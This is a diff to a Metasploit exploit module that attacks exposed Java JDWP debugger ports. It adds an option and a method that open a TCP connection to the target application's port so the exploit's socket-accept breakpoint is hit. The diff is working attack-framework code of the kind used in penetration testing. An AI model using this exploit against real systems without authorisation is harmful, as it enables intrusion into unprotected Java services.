diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index c17e1eec26..959a0d7a65 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -115,6 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ OptString.new('BREAK_CLASS', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]), + OptInt.new('BREAK_AUTOHIT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection', nil ]), OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]), OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]) ], self.class) @@ -506,12 +507,31 @@ class Metasploit3 < Msf::Exploit::Remote # Waits user defined time for an event sent from the target VM (or force event if possible) def wait_for_event + force_net_event unless datastore['BREAK_AUTOHIT_PORT'].nil? || (datastore['BREAK_AUTOHIT_PORT'] == 0) + buf = read_reply(datastore['BREAK_TIMEOUT']) return buf end + # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket + def force_net_event + + vprint_status("#{peer} - Forcing network event over #{datastore['BREAK_AUTOHIT_PORT']}") + + rex_socket = Rex::Socket::Tcp.create( + 'PeerHost' => rhost, + 'PeerPort' => datastore['BREAK_AUTOHIT_PORT'], + ) + + rex_socket.put(rand_text_alphanumeric(4 + rand(4))) + + rex_socket.shutdown + + end + + # Parses a received event and compares it with the expected def parse_event_breakpoint(buf, event_id)